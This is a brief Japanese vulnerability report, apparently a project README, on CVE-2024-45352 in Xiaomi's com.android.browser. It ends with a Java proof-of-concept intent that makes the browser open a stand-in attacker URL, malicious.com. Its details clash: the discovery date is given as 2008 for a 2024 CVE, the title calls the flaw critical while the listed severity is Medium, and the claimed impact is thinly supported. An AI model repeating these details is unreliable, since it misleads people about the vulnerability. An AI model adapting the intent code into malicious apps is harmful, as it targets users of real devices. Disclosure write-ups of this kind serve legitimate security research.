xiaomi-cve-2024-45352

Xiaomiの重大な脆弱性に関する技術レポート 脆弱性の概要 Xiaomiのデフォルトブラウザ（com.android.browser）において、複数のMIUIデバイスで脆弱性が発見されました。このアプリはstartActivityを介して渡されるインテントを適切に検証しないため、悪意のあるアプリが任意のURLを開いたり、意図しないアクションを実行したりすることが可能です。

• CVE ID: CVE-2024-45352
• コンポーネント
• :com.android.browser
• 重要度: Medium
• ステータス: Xiaomiに報告済み（確認待ち）
• 発見日: [2008年4月24日]

🔥 概念実証（PoC）

1. 次のインテントを使用して、単純な悪意のあるアプリを作成します：

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);